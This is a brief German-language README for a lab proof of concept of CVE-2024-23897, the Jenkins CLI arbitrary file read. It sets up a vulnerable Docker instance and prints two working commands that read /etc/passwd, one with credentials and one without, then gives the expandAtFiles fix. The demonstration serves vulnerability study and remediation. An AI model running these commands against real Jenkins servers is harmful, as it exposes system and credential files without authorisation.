
In diesem Git-Repository findest du alle Informationen zu CVE-2024-23897.
Das Problem, dem die CVE-Kennung CVE-2024-23897 zugewiesen wurde, wurde als eine Schwachstelle zum beliebigen Lesen von Dateien über die integrierte Befehlszeilenschnittstelle beschrieben. Dieser Befehlsparser hat eine Funktion, die ein @-Zeichen gefolgt von einem Dateipfad in einem Argument durch den Inhalt der Datei ersetzt (expandAtFiles). Diese Funktion ist standardmäßig aktiviert und Jenkins 2.441 und früher, LTS 2.426.2 und früher deaktivieren sie nicht.
Für diesen PoC habe ich Jenkins 2.426.2 mit Docker installiert, um den Exploit der Sicherheitslücke zu testen
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
Nach der Erstellung eines Benutzers und eines Passworts lud ich den Jenkins CLI-Client (jenkins-cli.jar) auf meiner angreifenden Maschine herunter.
Dann schrieb ich den Befehl für den Exploit. In diesem Befehl benötigen wir die Anmeldedaten des Jenkins-Benutzers.
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
Ein weiterer Befehl erlaubt es, die ersten Zeilen einer Datei ohne Authentifizierung anzuzeigen.
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
Um diese Sicherheitslücke zu beheben, müssen Sie zur Jenkins-Konfigurationsdatei namens config.xml navigieren (in meinem Fall befindet sie sich in meinem Docker-Container, also wechsle ich in den Shell-Modus in meinem Container)
<expandAtFiles>false</expandAtFiles>
und starten Sie Jenkins neu:
service jenkins restart